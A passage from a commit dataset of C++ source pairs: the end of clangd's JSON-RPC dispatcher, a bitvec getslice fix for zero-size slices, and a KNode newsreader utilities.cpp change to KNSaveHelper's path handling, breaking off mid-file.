KeyString->getValue(KeyStorage);\n llvm::yaml::Node *Value = NextKeyValue.getValue();\n if (!Value)\n return false;\n\n if (KeyValue == \"jsonrpc\") {\n \/\/ This should be \"2.0\". Always.\n Version = dyn_cast<llvm::yaml::ScalarNode>(Value);\n if (!Version || Version->getRawValue() != \"\\\"2.0\\\"\")\n return false;\n } else if (KeyValue == \"method\") {\n Method = dyn_cast<llvm::yaml::ScalarNode>(Value);\n } else if (KeyValue == \"id\") {\n Id = dyn_cast<llvm::yaml::ScalarNode>(Value);\n } else if (KeyValue == \"params\") {\n if (!Method)\n return false;\n \/\/ We have to interleave the call of the function here, otherwise the\n \/\/ YAMLParser will die because it can't go backwards. This is unfortunate\n \/\/ because it will break clients that put the id after params. A possible\n \/\/ fix would be to split the parsing and execution phases.\n Params = dyn_cast<llvm::yaml::MappingNode>(Value);\n callHandler(Handlers, Method, Id, Params, UnknownHandler, Out);\n return true;\n } else {\n return false;\n }\n }\n\n \/\/ In case there was a request with no params, call the handler on the\n \/\/ leftovers.\n if (!Method)\n return false;\n callHandler(Handlers, Method, Id, nullptr, UnknownHandler, Out);\n\n return true;\n}\n\nvoid clangd::runLanguageServerLoop(std::istream &In, JSONOutput &Out,\n JSONRPCDispatcher &Dispatcher,\n bool &IsDone) {\n while (In.good()) {\n \/\/ A Language Server Protocol message starts with a set of HTTP headers,\n \/\/ delimited by \\r\\n, and terminated by an empty line (\\r\\n).\n unsigned long long ContentLength = 0;\n while (In.good()) {\n std::string Line;\n std::getline(In, Line);\n if (!In.good() && errno == EINTR) {\n In.clear();\n continue;\n }\n\n Out.mirrorInput(Line);\n \/\/ Mirror '\\n' that gets consumed by std::getline, but is not included in\n \/\/ the resulting Line.\n \/\/ Note that '\\r' is part of Line, so we don't need to mirror it\n \/\/ separately.\n if (!In.eof())\n Out.mirrorInput(\"\\n\");\n\n llvm::StringRef LineRef(Line);\n\n \/\/ We allow YAML-style comments in headers. Technically this isn't part\n \/\/ of the LSP specification, but makes writing tests easier.\n if (LineRef.startswith(\"#\"))\n continue;\n\n \/\/ Content-Type is a specified header, but does nothing.\n \/\/ Content-Length is a mandatory header. It specifies the length of the\n \/\/ following JSON.\n \/\/ It is unspecified what sequence headers must be supplied in, so we\n \/\/ allow any sequence.\n \/\/ The end of headers is signified by an empty line.\n if (LineRef.consume_front(\"Content-Length: \")) {\n if (ContentLength != 0) {\n Out.log(\"Warning: Duplicate Content-Length header received. \"\n \"The previous value for this message (\" +\n std::to_string(ContentLength) + \") was ignored.\\n\");\n }\n\n llvm::getAsUnsignedInteger(LineRef.trim(), 0, ContentLength);\n continue;\n } else if (!LineRef.trim().empty()) {\n \/\/ It's another header, ignore it.\n continue;\n } else {\n \/\/ An empty line indicates the end of headers.\n \/\/ Go ahead and read the JSON.\n break;\n }\n }\n\n if (ContentLength > 0) {\n \/\/ Now read the JSON. Insert a trailing null byte as required by the YAML\n \/\/ parser.\n std::vector<char> JSON(ContentLength + 1, '\\0');\n In.read(JSON.data(), ContentLength);\n Out.mirrorInput(StringRef(JSON.data(), In.gcount()));\n\n \/\/ If the stream is aborted before we read ContentLength bytes, In\n \/\/ will have eofbit and failbit set.\n if (!In) {\n Out.log(\"Input was aborted. Read only \" + std::to_string(In.gcount()) +\n \" bytes of expected \" + std::to_string(ContentLength) + \".\\n\");\n break;\n }\n\n llvm::StringRef JSONRef(JSON.data(), ContentLength);\n \/\/ Log the message.\n Out.log(\"<-- \" + JSONRef + \"\\n\");\n\n \/\/ Finally, execute the action for this JSON message.\n if (!Dispatcher.call(JSONRef, Out))\n Out.log(\"JSON dispatch failed!\\n\");\n\n \/\/ If we're done, exit the loop.\n if (IsDone)\n break;\n } else {\n Out.log(\"Warning: Missing Content-Length header, or message has zero \"\n \"length.\\n\");\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright 2013-present Barefoot Networks, Inc. \n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include \"bitvec.h\"\n#include \"hex.h\"\n\nstd::ostream &operator<<(std::ostream &os, const bitvec &bv) {\n if (bv.size == 1) {\n os << hex(bv.data);\n } else {\n bool first = true;\n for (int i = bv.size-1; i >= 0; i--) {\n if (first) {\n if (!bv.ptr[i]) continue;\n os << hex(bv.ptr[i]);\n first = false;\n } else {\n os << hex(bv.ptr[i], sizeof(bv.data)*2, '0'); } }\n if (first)\n os << '0';\n }\n return os;\n}\n\nbitvec &bitvec::operator>>=(size_t count) {\n if (size == 1) {\n if (count >= bits_per_unit)\n data = 0;\n else\n data >>= count;\n return *this; }\n int off = count \/ bits_per_unit;\n count %= bits_per_unit;\n for (size_t i = 0; i < size; i++)\n if (i + off < size) {\n ptr[i] = ptr[i+off] >> count;\n if (count && i + off + 1 < size)\n ptr[i] |= ptr[i+off+1] << (bits_per_unit - count);\n } else {\n ptr[i] = 0; }\n while (size > 1 && !ptr[size-1]) size--;\n if (size == 1) {\n auto tmp = ptr[0];\n delete [] ptr;\n data = tmp; }\n return *this;\n}\n\nbitvec &bitvec::operator<<=(size_t count) {\n size_t needsize = (max().index() + count + bits_per_unit - 1)\/bits_per_unit;\n if (needsize > size) expand(needsize);\n if (size == 1) {\n data <<= count;\n return *this; }\n int off = count \/ bits_per_unit;\n count %= bits_per_unit;\n for (int i = size-1; i >= 0; i--)\n if (i >= off) {\n ptr[i] = ptr[i-off] << count;\n if (count && i > off)\n ptr[i] |= ptr[i-off-1] >> (bits_per_unit - count);\n } else {\n ptr[i] = 0; }\n return *this;\n}\n\nbitvec bitvec::getslice(size_t idx, size_t sz) const {\n if (idx >= size * bits_per_unit) return bitvec();\n if (idx + sz > size * bits_per_unit)\n sz = size * bits_per_unit - idx;\n if (size > 1) {\n bitvec rv;\n unsigned shift = idx % bits_per_unit;\n idx \/= bits_per_unit;\n if (sz > bits_per_unit) {\n rv.expand((sz-1)\/bits_per_unit + 1);\n for (size_t i = 0; i < rv.size; i++) {\n if (shift != 0 && i != 0)\n rv.ptr[i-1] |= ptr[idx + 1] << (bits_per_unit - shift);\n rv.ptr[i] = ptr[idx] >> shift; }\n if ((sz %= bits_per_unit))\n rv.ptr[rv.size-1] &= ~(~(uintptr_t)1 << (sz-1));\n } else {\n rv.data = ptr[idx] >> shift;\n if (shift != 0 && idx + 1 < size)\n rv.data |= ptr[idx + 1] << (bits_per_unit - shift);\n rv.data &= ~(~(uintptr_t)1 << (sz-1)); }\n return rv;\n } else {\n return bitvec((data >> idx) & ~(~(uintptr_t)1 << (sz-1))); }\n}\n\nint bitvec::ffs(unsigned start) const {\n uintptr_t val = ~0ULL;\n unsigned idx = start \/ bits_per_unit;\n val <<= (start % bits_per_unit);\n while (idx < size && !(val &= word(idx))) {\n ++idx;\n val = ~0ULL; }\n if (idx >= size) return -1;\n unsigned rv = idx * bits_per_unit;\n#if defined(__GNUC__) || defined(__clang__)\n rv += builtin_ctz(val);\n#else\n while ((val & 0xff) == 0) { rv += 8; val >>= 8; }\n while ((val & 1) == 0) { rv++; val >>= 1; }\n#endif\n return rv;\n}\n\nunsigned bitvec::ffz(unsigned start) const {\n uintptr_t val = 0;\n unsigned idx = start \/ bits_per_unit;\n val = ~(~val << (start % bits_per_unit));\n while (!~(val |= word(idx))) {\n ++idx;\n val = 0; }\n unsigned rv = idx * bits_per_unit;\n#if defined(__GNUC__) || defined(__clang__)\n rv += builtin_ctz(~val);\n#else\n while ((val & 0xff) == 0xff) { rv += 8; val >>= 8; }\n while (val & 1) { rv++; val >>= 1; }\n#endif\n return rv;\n}\n\nbool bitvec::is_contiguous() const {\n \/\/ Empty bitvec is not contiguous\n if (empty())\n return false;\n return max().index() - min().index() + 1 == popcount();\n}\n<commit_msg>Adjusted getslice function of bitvec to return empty bitvec when the size requested is 0. (#744)<commit_after>\/*\nCopyright 2013-present Barefoot Networks, Inc. \n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include \"bitvec.h\"\n#include \"hex.h\"\n\nstd::ostream &operator<<(std::ostream &os, const bitvec &bv) {\n if (bv.size == 1) {\n os << hex(bv.data);\n } else {\n bool first = true;\n for (int i = bv.size-1; i >= 0; i--) {\n if (first) {\n if (!bv.ptr[i]) continue;\n os << hex(bv.ptr[i]);\n first = false;\n } else {\n os << hex(bv.ptr[i], sizeof(bv.data)*2, '0'); } }\n if (first)\n os << '0';\n }\n return os;\n}\n\nbitvec &bitvec::operator>>=(size_t count) {\n if (size == 1) {\n if (count >= bits_per_unit)\n data = 0;\n else\n data >>= count;\n return *this; }\n int off = count \/ bits_per_unit;\n count %= bits_per_unit;\n for (size_t i = 0; i < size; i++)\n if (i + off < size) {\n ptr[i] = ptr[i+off] >> count;\n if (count && i + off + 1 < size)\n ptr[i] |= ptr[i+off+1] << (bits_per_unit - count);\n } else {\n ptr[i] = 0; }\n while (size > 1 && !ptr[size-1]) size--;\n if (size == 1) {\n auto tmp = ptr[0];\n delete [] ptr;\n data = tmp; }\n return *this;\n}\n\nbitvec &bitvec::operator<<=(size_t count) {\n size_t needsize = (max().index() + count + bits_per_unit - 1)\/bits_per_unit;\n if (needsize > size) expand(needsize);\n if (size == 1) {\n data <<= count;\n return *this; }\n int off = count \/ bits_per_unit;\n count %= bits_per_unit;\n for (int i = size-1; i >= 0; i--)\n if (i >= off) {\n ptr[i] = ptr[i-off] << count;\n if (count && i > off)\n ptr[i] |= ptr[i-off-1] >> (bits_per_unit - count);\n } else {\n ptr[i] = 0; }\n return *this;\n}\n\nbitvec bitvec::getslice(size_t idx, size_t sz) const {\n if (sz == 0) return bitvec();\n if (idx >= size * bits_per_unit) return bitvec();\n if (idx + sz > size * bits_per_unit)\n sz = size * bits_per_unit - idx;\n if (size > 1) {\n bitvec rv;\n unsigned shift = idx % bits_per_unit;\n idx \/= bits_per_unit;\n if (sz > bits_per_unit) {\n rv.expand((sz-1)\/bits_per_unit + 1);\n for (size_t i = 0; i < rv.size; i++) {\n if (shift != 0 && i != 0)\n rv.ptr[i-1] |= ptr[idx + 1] << (bits_per_unit - shift);\n rv.ptr[i] = ptr[idx] >> shift; }\n if ((sz %= bits_per_unit))\n rv.ptr[rv.size-1] &= ~(~(uintptr_t)1 << (sz-1));\n } else {\n rv.data = ptr[idx] >> shift;\n if (shift != 0 && idx + 1 < size)\n rv.data |= ptr[idx + 1] << (bits_per_unit - shift);\n rv.data &= ~(~(uintptr_t)1 << (sz-1)); }\n return rv;\n } else {\n return bitvec((data >> idx) & ~(~(uintptr_t)1 << (sz-1))); }\n}\n\nint bitvec::ffs(unsigned start) const {\n uintptr_t val = ~0ULL;\n unsigned idx = start \/ bits_per_unit;\n val <<= (start % bits_per_unit);\n while (idx < size && !(val &= word(idx))) {\n ++idx;\n val = ~0ULL; }\n if (idx >= size) return -1;\n unsigned rv = idx * bits_per_unit;\n#if defined(__GNUC__) || defined(__clang__)\n rv += builtin_ctz(val);\n#else\n while ((val & 0xff) == 0) { rv += 8; val >>= 8; }\n while ((val & 1) == 0) { rv++; val >>= 1; }\n#endif\n return rv;\n}\n\nunsigned bitvec::ffz(unsigned start) const {\n uintptr_t val = 0;\n unsigned idx = start \/ bits_per_unit;\n val = ~(~val << (start % bits_per_unit));\n while (!~(val |= word(idx))) {\n ++idx;\n val = 0; }\n unsigned rv = idx * bits_per_unit;\n#if defined(__GNUC__) || defined(__clang__)\n rv += builtin_ctz(~val);\n#else\n while ((val & 0xff) == 0xff) { rv += 8; val >>= 8; }\n while (val & 1) { rv++; val >>= 1; }\n#endif\n return rv;\n}\n\nbool bitvec::is_contiguous() const {\n \/\/ Empty bitvec is not contiguous\n if (empty())\n return false;\n return max().index() - min().index() + 1 == popcount();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n utilities.cpp\n\n KNode, the KDE newsreader\n Copyright (c) 1999-2001 the KNode authors.\n See file AUTHORS for details\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software Foundation,\n Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, US\n*\/\n\n#include <qframe.h>\n#include <qlayout.h>\n\n#include <kconfig.h>\n#include <klocale.h>\n#include <kglobal.h>\n#include <kmessagebox.h>\n#include <kdialogbase.h>\n#include <kdebug.h>\n#include <kio\/netaccess.h>\n#include <ktempfile.h>\n#include <kfiledialog.h>\n\n#include \"knlistbox.h\"\n#include \"knglobals.h\"\n#include \"utilities.h\"\n\n\n\n\/\/================================================================================\n\nKNFile::KNFile(const QString& fname)\n : QFile(fname), filePos(0), readBytes(0)\n{\n buffer.resize(512);\n dataPtr=buffer.data();\n dataPtr[0]='\\0';\n}\n\n\nKNFile::~KNFile()\n{\n}\n\n\nconst QCString& KNFile::readLine()\n{\n filePos=at();\n readBytes=QFile::readLine(dataPtr, buffer.size()-1);\n if(readBytes!=-1) {\n while ((dataPtr[readBytes-1]!='\\n')&&(static_cast<uint>(readBytes+2)==buffer.size())) { \/\/ don't get tricked by files without newline\n at(filePos);\n if (!increaseBuffer() ||\n (readBytes=QFile::readLine(dataPtr, buffer.size()-1))==-1) {\n readBytes=1;\n break;\n }\n }\n } else\n readBytes=1;\n\n dataPtr[readBytes-1] = '\\0';\n return buffer;\n}\n\n\nconst QCString& KNFile::readLineWnewLine()\n{\n filePos=at();\n readBytes=QFile::readLine(dataPtr, buffer.size()-1);\n if(readBytes!=-1) {\n while ((dataPtr[readBytes-1]!='\\n')&&(static_cast<uint>(readBytes+2)==buffer.size())) { \/\/ don't get tricked by files without newline\n at(filePos);\n if (!increaseBuffer() ||\n (readBytes=QFile::readLine(dataPtr, buffer.size()-1))==-1) {\n dataPtr[0] = '\\0';\n break;\n }\n }\n }\n else dataPtr[0] = '\\0';\n\n return buffer;\n}\n\n\nint KNFile::findString(const char *s)\n{\n QCString searchBuffer;\n searchBuffer.resize(2048);\n char *buffPtr = searchBuffer.data(), *pos;\n int readBytes, currentFilePos;\n\n while (!atEnd()) {\n currentFilePos = at();\n readBytes = readBlock(buffPtr, 2047);\n if (readBytes == -1)\n return -1;\n else\n buffPtr[readBytes] = 0; \/\/ terminate string\n\n pos = strstr(buffPtr,s);\n if (pos == 0) {\n if (!atEnd())\n at(at()-strlen(s));\n else\n return -1;\n } else {\n return currentFilePos + (pos-buffPtr);\n }\n }\n\n return -1;\n}\n\n\nbool KNFile::increaseBuffer()\n{\n if(buffer.resize(2*buffer.size())) {;\n dataPtr=buffer.data();\n dataPtr[0]='\\0';\n kdDebug(5003) << \"KNFile::increaseBuffer() : buffer doubled\" << endl;\n return true;\n }\n else return false;\n}\n\n\n\/\/===============================================================================\n\nQString KNSaveHelper::lastPath;\n\nKNSaveHelper::KNSaveHelper(QString saveName, QWidget *parent)\n : p_arent(parent), s_aveName(saveName), file(0), tmpFile(0)\n{\n}\n\n\nKNSaveHelper::~KNSaveHelper()\n{\n if (file) { \/\/ local filesystem, just close the file\n delete file;\n } else\n if (tmpFile) { \/\/ network location, initiate transaction\n tmpFile->close();\n if (KIO::NetAccess::upload(tmpFile->name(),url) == false)\n KNHelper::displayRemoteFileError();\n tmpFile->unlink(); \/\/ delete temp file\n delete tmpFile;\n }\n}\n\n\nQFile* KNSaveHelper::getFile(QString dialogTitle)\n{\n if (lastPath.isEmpty())\n lastPath = \"file:\/\";\n\n url = KFileDialog::getSaveURL(lastPath+s_aveName,QString::null,p_arent,dialogTitle);\n\n if (url.isEmpty())\n return 0;\n\n lastPath = url.url(-1);\n lastPath.truncate(lastPath.length()-url.fileName().length());\n\n if (url.isLocalFile()) {\n if (QFileInfo(url.path()).exists() &&\n (KMessageBox::warningContinueCancel(knGlobals.topWidget,\n i18n(\"A file named %1 already exists.\\nDo you want to replace it?\").arg(url.path()),\n dialogTitle, i18n(\"&Replace\")) != KMessageBox::Continue)) {\n return 0;\n }\n\n file = new QFile(url.path());\n if(!file->open(IO_WriteOnly)) {\n KNHelper::displayExternalFileError();\n delete file;\n file = 0;\n }\n return file;\n } else {\n tmpFile = new KTempFile();\n if (tmpFile->status()!=0) {\n KNHelper::displayTempFileError();\n delete tmpFile;\n tmpFile = 0;\n return 0;\n }\n return tmpFile->file();\n }\n}\n\n\n\/\/===============================================================================\n\nQString KNLoadHelper::l_astPath;\n\nKNLoadHelper::KNLoadHelper(QWidget *parent)\n : p_arent(parent), f_ile(0)\n{\n}\n\n\nKNLoadHelper::~KNLoadHelper()\n{\n delete f_ile;\n if (!t_empName.isEmpty())\n KIO::NetAccess::removeTempFile(t_empName);\n}\n\n\nKNFile* KNLoadHelper::getFile(QString dialogTitle)\n{\n if (f_ile)\n return f_ile;\n\n KURL url = KFileDialog::getOpenURL(l_astPath,QString::null,p_arent,dialogTitle);\n\n if (url.isEmpty())\n return 0;\n\n l_astPath = url.url(-1);\n l_astPath.truncate(l_astPath.length()-url.fileName().length());\n\n return setURL(url);\n}\n\n\nKNFile* KNLoadHelper::setURL(KURL url)\n{\n if (f_ile)\n return f_ile;\n\n u_rl = url;\n\n if (u_rl.isEmpty())\n return 0;\n\n QString fileName;\n if (!u_rl.isLocalFile()) {\n if (KIO::NetAccess::download(u_rl, t_empName))\n fileName = t_empName;\n } else\n fileName = u_rl.path();\n\n if (fileName.isEmpty())\n return 0;\n\n f_ile = new KNFile(fileName);\n if(!f_ile->open(IO_ReadOnly)) {\n KNHelper::displayExternalFileError();\n delete f_ile;\n f_ile = 0;\n }\n return f_ile;\n}\n\n\n\/\/===============================================================================\n\n\n\/\/ **** keyboard selection dialog *********************************************\nint KNHelper::selectDialog(QWidget *parent, const QString &caption, const QStringList &options, int initialValue)\n{\n KDialogBase *dlg=new KDialogBase(KDialogBase::Plain, caption, KDialogBase::Ok|KDialogBase::Cancel,\n KDialogBase::Ok, parent);\n QFrame *page = dlg->plainPage();\n QHBoxLayout *pageL = new QHBoxLayout(page,8,5);\n\n KNDialogListBox *list = new KNDialogListBox(true, page);\n pageL->addWidget(list);\n\n QString s;\n for ( QStringList::ConstIterator it = options.begin(); it != options.end(); ++it ) {\n s = (*it);\n s.replace(QRegExp(\"&\"),\"\"); \/\/ remove accelerators\n list->insertItem(s);\n }\n\n list->setCurrentItem(initialValue);\n list->setFocus();\n restoreWindowSize(\"selectBox\", dlg, QSize(247,174));\n\n int ret;\n if (dlg->exec())\n ret = list->currentItem();\n else\n ret = -1;\n\n saveWindowSize(\"selectBox\", dlg->size());\n delete dlg;\n return ret;\n}\n\n\/\/ **** window geometry managing *********************************************\n\nvoid KNHelper::saveWindowSize(const QString &name, const QSize &s)\n{\n KConfig *c=KGlobal::config();\n c->setGroup(\"WINDOW_SIZES\");\n c->writeEntry(name, s); \n}\n\n\nvoid KNHelper::restoreWindowSize(const QString &name, QWidget *d, const QSize &defaultSize)\n{\n KConfig *c=KGlobal::config();\n c->setGroup(\"WINDOW_SIZES\");\n \n QSize s=c->readSizeEntry(name,&defaultSize);\n \n if(s.isValid()) d->resize(s); \n}\n\n\/\/ **** scramble password strings **********************************************\n\nconst QString KNHelper::encryptStr(const QString& aStr)\n{\n uint i,val,len = aStr.length();\n QCString result;\n\n for (i=0; i<len; i++)\n {\n val = aStr[i] - ' ';\n val = (255-' ') - val;\n result += (char)(val + ' ');\n }\n\n return result;\n}\n\n\nconst QString KNHelper::decryptStr(const QString& aStr)\n{\n return encryptStr(aStr);\n}\n\n\/\/ **** rot13 *******************************************************************\n\nQString KNHelper::rot13(const QString &s)\n{\n QString r(s);\n\n for (int i=0; (uint)i<r.length(); i++) {\n if ( r[i] >= QChar('A') && r[i] <= QChar('M') ||\n r[i] >= QChar('a') && r[i] <= QChar('m') )\n r[i] = (char)((int)QChar(r[i]) + 13);\n else\n if ( r[i] >= QChar('N') && r[i] <= QChar('Z') ||\n r[i] >= QChar('n') && r[i] <= QChar('z') )\n r[i] = (char)((int)QChar(r[i]) - 13);\n } \n\n return r;\n}\n\n\/\/ **** us-ascii check **********************************************************\n\nbool KNHelper::isUsAscii(const QString &s)\n{\n for (uint i=0; i<s.length(); i++)\n if (s.at(i).latin1()<=0) \/\/ c==0: non-latin1, c<0: non-us-ascii\n return false;\n\n return true;\n}\n\n\/\/ **** text rewraping *********************************************************\n\nint findBreakPos(const QString &text, int start)\n{\n int i;\n for(i=start;i>=0;i--)\n if(text[i].isSpace())\n break;\n if(i>0)\n return i;\n for(i=start;i<(int)text.length();i++) \/\/ ok, the line is to long\n if(text[i].isSpace())\n break;\n return i;\n}\n\n\nvoid appendTextWPrefix(QString &result, const QString &text, int wrapAt, const QString &prefix)\n{\n QString txt=text;\n int breakPos;\n\n while(!txt.isEmpty()) {\n\n if((int)(prefix.length()+txt.length()) > wrapAt) {\n breakPos=findBreakPos(txt,wrapAt-prefix.length());\n result+=(prefix+txt.left(breakPos)+\"\\n\");\n txt.remove(0,breakPos+1);\n } else {\n result+=(prefix+txt+\"\\n\");\n txt=QString::null;\n }\n }\n}\n\n\nQString KNHelper::rewrapStringList(QStringList text, int wrapAt, QChar quoteChar, bool stopAtSig, bool alwaysSpace)\n{\n QString quoted, lastPrefix, thisPrefix, leftover, thisLine;\n int breakPos;\n\n for(QStringList::Iterator line=text.begin(); line!=text.end(); ++line) {\n\n if(stopAtSig && (*line)==\"-- \")\n break;\n\n thisLine=(*line);\n if (!alwaysSpace && (thisLine[0]==quoteChar))\n thisLine.prepend(quoteChar); \/\/ second quote level without space\n else\n thisLine.prepend(quoteChar+' ');\n\n thisPrefix=QString::null;\n QChar c;\n for(int idx=0; idx<(int)(thisLine.length()); idx++) {\n c=thisLine.at(idx);\n if( (c==' ') ||\n (c==quoteChar) || (c=='>') ||(c=='|') || (c==':') || (c=='#') || (c=='[') || (c=='{'))\n thisPrefix.append(c);\n else\n break;\n }\n\n thisLine.remove(0,thisPrefix.length());\n thisLine = thisLine.stripWhiteSpace();\n\n if(!leftover.isEmpty()) { \/\/ don't break paragraphs, tables and quote levels\n if(thisLine.isEmpty() || (thisPrefix!=lastPrefix) || thisLine.contains(\" \") || thisLine.contains('\\t'))\n appendTextWPrefix(quoted, leftover, wrapAt, lastPrefix);\n else\n thisLine.prepend(leftover+\" \");\n leftover=QString::null;\n }\n\n if((int)(thisPrefix.length()+thisLine.length()) > wrapAt) {\n breakPos=findBreakPos(thisLine,wrapAt-thisPrefix.length());\n if(breakPos < (int)(thisLine.length())) {\n leftover=thisLine.right(thisLine.length()-breakPos-1);\n thisLine.truncate(breakPos);\n }\n }\n\n quoted+=thisPrefix+thisLine+\"\\n\";\n lastPrefix=thisPrefix;\n }\n\n if (!leftover.isEmpty())\n appendTextWPrefix(quoted, leftover, wrapAt, lastPrefix);\n\n return quoted;\n}\n\n\/\/ **** misc. message-boxes **********************************************************\n\nvoid KNHelper::displayInternalFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to load\/save configuration!\\nWrong permissions on home directory?\\nYou should close KNode now to avoid data loss!\"));\n}\n\n\nvoid KNHelper::displayExternalFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to load\/save file!\"));\n}\n\n\nvoid KNHelper::displayRemoteFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to save remote file!\"));\n}\n\n\nvoid KNHelper::displayTempFileError(QWidget *w)\n{\n KMessageBox::error((w!=0)? w : knGlobals.topWidget, i18n(\"Unable to create temporary file!\"));\n}\n<commit_msg>fixed a broken hack in KNSaveHelper<commit_after>\/*\n utilities.cpp\n\n KNode, the KDE newsreader\n Copyright (c) 1999-2001 the KNode authors.\n See file AUTHORS for details\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software Foundation,\n Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, US\n*\/\n\n#include <qframe.h>\n#include <qlayout.h>\n\n#include <kconfig.h>\n#include <klocale.h>\n#include <kglobal.h>\n#include <kmessagebox.h>\n#include <kdialogbase.h>\n#include <kdebug.h>\n#include <kio\/netaccess.h>\n#include <ktempfile.h>\n#include <kfiledialog.h>\n\n#include \"knlistbox.h\"\n#include \"knglobals.h\"\n#include \"utilities.h\"\n\n\n\n\/\/================================================================================\n\nKNFile::KNFile(const QString& fname)\n : QFile(fname), filePos(0), readBytes(0)\n{\n buffer.resize(512);\n dataPtr=buffer.data();\n dataPtr[0]='\\0';\n}\n\n\nKNFile::~KNFile()\n{\n}\n\n\nconst QCString& KNFile::readLine()\n{\n filePos=at();\n readBytes=QFile::readLine(dataPtr, buffer.size()-1);\n if(readBytes!=-1) {\n while ((dataPtr[readBytes-1]!='\\n')&&(static_cast<uint>(readBytes+2)==buffer.size())) { \/\/ don't get tricked by files without newline\n at(filePos);\n if (!increaseBuffer() ||\n (readBytes=QFile::readLine(dataPtr, buffer.size()-1))==-1) {\n readBytes=1;\n break;\n }\n }\n } else\n readBytes=1;\n\n dataPtr[readBytes-1] = '\\0';\n return buffer;\n}\n\n\nconst QCString& KNFile::readLineWnewLine()\n{\n filePos=at();\n readBytes=QFile::readLine(dataPtr, buffer.size()-1);\n if(readBytes!=-1) {\n while ((dataPtr[readBytes-1]!='\\n')&&(static_cast<uint>(readBytes+2)==buffer.size())) { \/\/ don't get tricked by files without newline\n at(filePos);\n if (!increaseBuffer() ||\n (readBytes=QFile::readLine(dataPtr, buffer.size()-1))==-1) {\n dataPtr[0] = '\\0';\n break;\n }\n }\n }\n else dataPtr[0] = '\\0';\n\n return buffer;\n}\n\n\nint KNFile::findString(const char *s)\n{\n QCString searchBuffer;\n searchBuffer.resize(2048);\n char *buffPtr = searchBuffer.data(), *pos;\n int readBytes, currentFilePos;\n\n while (!atEnd()) {\n currentFilePos = at();\n readBytes = readBlock(buffPtr, 2047);\n if (readBytes == -1)\n return -1;\n else\n buffPtr[readBytes] = 0; \/\/ terminate string\n\n pos = strstr(buffPtr,s);\n if (pos == 0) {\n if (!atEnd())\n at(at()-strlen(s));\n else\n return -1;\n } else {\n return currentFilePos + (pos-buffPtr);\n }\n }\n\n return -1;\n}\n\n\nbool KNFile::increaseBuffer()\n{\n if(buffer.resize(2*buffer.size())) {;\n dataPtr=buffer.data();\n dataPtr[0]='\\0';\n kdDebug(5003) << \"KNFile::increaseBuffer() : buffer doubled\" << endl;\n return true;\n }\n else return false;\n}\n\n\n\/\/===============================================================================\n\nQString KNSaveHelper::lastPath;\n\nKNSaveHelper::KNSaveHelper(QString saveName, QWidget *parent)\n : p_arent(parent), s_aveName(saveName), file(0), tmpFile(0)\n{\n}\n\n\nKNSaveHelper::~KNSaveHelper()\n{\n if (file) { \/\/ local filesystem, just close the file\n delete file;\n } else\n if (tmpFile) { \/\/ network location, initiate transaction\n tmpFile->close();\n if (KIO::NetAccess::upload(tmpFile->name(),url) == false)\n KNHelper::displayRemoteFileError();\n tmpFile->unlink(); \/\/ delete temp file\n delete tmpFile;\n }\n}\n\n\nQFile* KNSaveHelper::getFile(QString dialogTitle)\n{\n if (lastPath.isEmpty())\n lastPath = \"file:\/\";\n\n url = KFileDialog::getSaveURL(lastPath+s_aveName,QString::null,p_arent,dialogTitle);\n\n if (url.isEmpty())\n return 0;\n\n lastPath = url.upURL().url();\n\n if (url.isLocalFile()) {\n if (QFileInfo(url.path()).exists() &&\n (KMessageBox::warningContinueCancel(knGlobals.topWidget,\n i18n(\"A file named %1 already exists.\\nDo you want to replace it?\").arg(url.path()),\n dialogTitle, i18n(\"&Replace\")) != KMessageBox::Continue)) {\n return 0;\n }\n\n file = new QFile(url.path());\n if(!file->open(IO_WriteOnly)) {\n KNHelper::displayExternalFileError();\n delete file;\n file = 0;\n }\n return file;\n } else {\n tmpFile = new KTempFile();\n if (tmpFile->status()!=0) {\n KNHelper::displayTempFileError();\n delete tmpFile;\n tmpFile = 0;\n return 0;\n }\n return tmpFile->file();\n }\n}\n\n\n\/\/===============================================================================\n\nQString KNLoadHelper::l_astPath;\n\nKNLoadHelper::KNLoadHelper(QWidget *parent)\n : p_arent(parent), f_ile(0)\n{\n}\n\n\nKNLoadHelper::~KNLoadHelper()\n{\n delete f_ile;\n if (!t_empName.isEmpty())\n KIO::NetAccess::removeTempFile(t_empName);\n}\n\n\nKNFile* KNLoadHelper::getFile(QString dialogTitle)\n{\n if (f_ile)\n return f_ile;\n\n KURL url = KFileDialog::getOpenURL(l_astPath,QString::null,p_arent,dialogTitle);\n\n if (url.isEmpty())\n return 0;\n\n l_astPath = url.url(-1);\n l_astPath.truncate(l_astPath.length()-url.fileName().length());\n\n return setURL(url);\n}\n\n\nKNFile* KNLoadHelper::setURL(KURL url)\n{\n if (f_ile)\n return f_ile;\n\n u_rl = url;\n\n if (u_rl.isEmpty())\n return 0;\n\n QString fileName;\n if (!u_rl.isLocalFile()) {\n if (KIO::NetAccess::download(u_rl, 